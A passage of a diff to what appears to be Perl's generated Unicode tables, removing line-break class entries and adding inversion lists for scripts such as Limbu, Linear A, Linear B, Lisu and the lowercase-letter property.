-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Ideographic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Contingent_Break,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Inseparable,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_Before,
-	LB_Break_After,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Regional_Indicator,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Modifier,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic
+static const UV PL_LIMB_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x965,
+	0x966,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1950
 };
 
-#endif	/* defined(PERL_IN_REGEXEC_C) */
+static const UV PL_LINA_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10107,
+	0x10134,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768
+};
 
-#if defined(PERL_IN_PERL_C)
+static const UV PL_LINB_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140
+};
 
-static const UV _Perl_SB_invlist[] = { /* for EBCDIC 037 */
-	2977,	/* Number of elements */
+static const UV PL_LINEARBIDEOGRAMS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xD,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
-	0x40,
+	0x10080,
+	0x10100
+};
+
+static const UV PL_LINEARBSYLLABARY_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10000,
+	0x10080
+};
+
+static const UV PL_LISU_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA4D0,
+	0xA500
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LL_invlist[] = { /* for ASCII/Latin1 */
+	1267,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xDF,
+	0xF7,
+	0xF8,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BD,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B0,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2184,
+	0x2185,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7C,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
